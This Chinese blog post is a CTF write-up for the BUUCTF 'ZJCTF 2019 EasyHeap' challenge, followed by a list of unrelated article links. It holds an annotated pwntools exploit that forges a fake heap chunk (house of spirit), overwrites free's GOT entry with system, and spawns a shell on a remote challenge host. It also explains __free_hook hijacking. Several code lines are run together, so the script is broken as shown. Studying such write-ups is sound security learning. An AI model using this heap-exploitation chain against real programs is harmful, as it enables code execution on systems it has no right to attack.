BUUCTF 上的题目,由于部分环境没有复现,解法是非期望的 house of spirit

第一次接触伪造堆的利用方式,exp 用的是 Pwnki 师傅的,本文为调试记录及心得体会。

逆向分析的过程请见超链接,下面是我加了注释后的 exp:

from pwn import *

#p = process('./easyheap')
p = remote('node3.buuoj.cn' ,'27234')
elf = ELF('./easyheap') context.log_level = 'debug' # 设置 Log 等级 def debug(): # 调试函数 attach to gdb
gdb.attach(p)
pause() def create(size,content): # 新建 heap,地址保存在 heaparray
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content)) def edit(index,size,content): # 修改 heap 内容,存在堆溢出点
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content)) def free(index): # 释放 heap
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index)) free_got = elf.got['free'] create(0x68,'aaaa') # chunk 0
create(0x68,'bbbb') # chunk 1
create(0x68,'cccc') # chunk 2
free(2) # 释放 heap2 让其进入 fastbin payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
# 修改 heap1 内容为 '/bin/sh\x00', 以及堆溢出 heap2(freed) 修改其 fd 指针
# 因为最后释放的是 heap1,利用 '__free_hook'(system) Getshell
# 为什么是 0x6020b0 - 3? 这是调试出来的
# FakeChunk 若以这里为 prev_size,则 size 正好是一个 0x000000000000007f
# 可以绕过 malloc_chunk 的合法性验证 (new_chunk 的 size 位要与 bin 链表 size 一致)
# 这样就伪造出了一个 chunk create(0x68,'aaaa') # chunk 2 (从 fastbin 里取出的) create(0x68,'c') # chunk 3 / idx = 0 (Fake) payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
# 修改 heap3 (Fake)
# 作用是把 heaparray[0] 的地址 (原先记录的是 chunk 3 的地址) 覆写成 free_got 地址
# 这就是要在 heaparry 附近构造 Fakeheap 的原因
# 确定具体的偏移量需要动态调试 payload = p64(elf.plt['system'])
edit(0,len(payload),payload)
# free_got 地址的作用在这里体现了
# 由于 edit() 的目标是 heaparry[] 里面的地址
# 那么本次操作将修改 free_got 为 system_plt 的地址 free(1)
# 当释放 chunk1 (内容为 '/bin/sh\0x00') 的时候
# 把 chunk1 当参数传入 free() 中执行,由于 free() 地址已经被修改成 system()
# 最后程序执行的就是 system(chunk1's content) 即 system('/bin/sh\0x00'), 成功 Getshell p.interactive()

以下内容与本题无关!!

__free_hook

void __libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *)
= atomic_forced_read (__free_hook);
if (__builtin_expect (hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS (0));
return;
}

上面的代码对是 free() 函数的一部分,可以看出程序先把全局变量 __free_hook 赋给了局部变量 hook ,然后对 hook 是否为 NULL 进行判断,如果不为空,则执行 hook ,第一个参数就是 chunk 的内容部分。

一般的情况下 __free_hook 是为 NULL 的,所以是不会执行的,但是如果有人恶意修改 __free_hook 的话,就会造成 __free_hook 劫持。

总结

用了一个下午的时间,感觉自己调试技巧又熟练了一点,学习到了一种 Fakeheap 的利用手法,但是本题难度不太大,还需要更多题目来巩固。

[ZJCTF 2019]EasyHeap | house of spirit 调试记录的更多相关文章

  1. [BUUCTF]PWN——[ZJCTF 2019]EasyHeap

    [ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...

  2. [ZJCTF 2019]EasyHeap

    目录 逆向分析 create 函数 edit 函数 delete 函数 利用思路 exp 脚本 get flag 内容来源 逆向分析 -------------------------------- ...

  3. SPI 核软件调试记录

    SPI 核软件调试记录 1.首先说说int SpiFlashWaitForFlashReady(void)这一函数,基本上其它函数在执行的时候,都会事先执行一次此函数.    因为此函数的作用主要是用 ...

  4. Video Timing Controller v6.1软件调试记录

    Video Timing Controller v6.1软件调试记录 GUI配置: . case XVTC_VMODE_PAL: //576i@50 { TimingPtr->Interlace ...

  5. Video Test Pattern Generator(7.0)软件调试记录

    Video Test Pattern Generator(7.0)软件调试记录 . XVidC_VideoMode XVIDC_VM_576_50_I = XVIDC_VM_720x576_50_I ...

  6. MA82G5D16AS16 主频调试记录

    MA82G5D16AS16 主频调试记录 当 SCKS 设置 为 MCKDO / 128 时 MCU 的电流为 0.58mA,100UF 电容可以维持 0.5S,大概可以满足. 但是需要注意外围的线路 ...

  7. Apusic中间件结合MyEclipse进行远程调试记录

    Apusic中间件结合MyEclipse进行远程调试记录. 在金蝶域中正常部署应用. 启动金蝶中间件时使用"startapusic -ds"命令. 在MyEclipse的Run-- ...

  8. http://stblog.baidu-tech.com/?p=1684) coredump调试记录 - PHP篇 原创: 扶墙 贝壳产品技术 今天

    http://stblog.baidu-tech.com/?p=1684) coredump调试记录 - PHP篇 原创: 扶墙 贝壳产品技术 今天

  9. 基于freescale i.Mx6(ARM)的阿里云oss调试记录

    交叉编译阿里OSS调试记录 1.1 开通oss服务 具体参考以下链接: https://help.aliyun.com/document_detail/31884.html?spm=a2c4g.111 ...

随机推荐

  1. [loj3331]选课

    考虑$P=0$,由于$T-\sum_{i=1}^{m}s_{i}\le 40$,因此一个第$i$个分类中最多得到$s_{i}+42$的学分,可以对每一类分别背包 暴力背包复杂度为$o(n^{2})$, ...

  2. 【低门槛 手把手】python 装饰器(Decorators)原理说明

    本文目的是由浅入深地介绍python装饰器原理 装饰器(Decorators)是 Python 的一个重要部分 其功能是,在不修改原函数(类)定义代码的情况下,增加新的功能 为了理解和实现装饰器,我们 ...

  3. miRNA分析--数据过滤(一)

    miRNA 数据过滤我使用cutadapt 1 cutadapt -a AGATCGGAAGAGCACACGTCT -m 15 -q 20 --discard-untrimmed -o outname ...

  4. iptables_超解

    查询: -t选项,指定要操作的表,使用-L选项,查看-t选项对应的表的规则,-L选项的意思是,列出规则,所以,上述命令的含义为列出filter表的所有规则 显示出了3条链INPUT链.FORWARD链 ...

  5. msql_5.6.46编译问题

    初始化数据库的时候, 使用mysql_install_db 必须是再mysql安装的目录下用相对路径去进行初始化 CentOs6.9必须先把/etc/my.cnf 先改为其他名字,之后再把安装目录下s ...

  6. Linux软件安装管理:rpm与yum

    目录 1. rpm包的管理 1.1 介绍 1.2 rpm包的简单查询指令 1.3 rpm 包名的基本格式 1.4 rpm其它指令 1.5 卸载rpm包 1.6 安装rpm包 2. yum 2.1 说明 ...

  7. 48-Merge Sorted Array

    $88. Merge Sorted Array My Submissions QuestionEditorial Solution Total Accepted: 98885 Total Submis ...

  8. 6. Reverse Linked List 逆转单链表

    逆转单链表,比较简单,不细讲,扫描依次改变指针指向. class Solution { public: ListNode* reverseList(ListNode* head) { if(head= ...

  9. A Child's History of England.26

    CHAPTER 9 ENGLAND UNDER WILLIAM THE SECOND, CALLED RUFUS William the Red, in breathless haste, secur ...

  10. 内存管理——new delete expression

    C++申请释放内存的方法与详情表 调用情况 1.new expression new表达式在申请内存过程中都发生了什么? 编译器将new这个分解为下面的主要3步代码,①首先调用operator new ...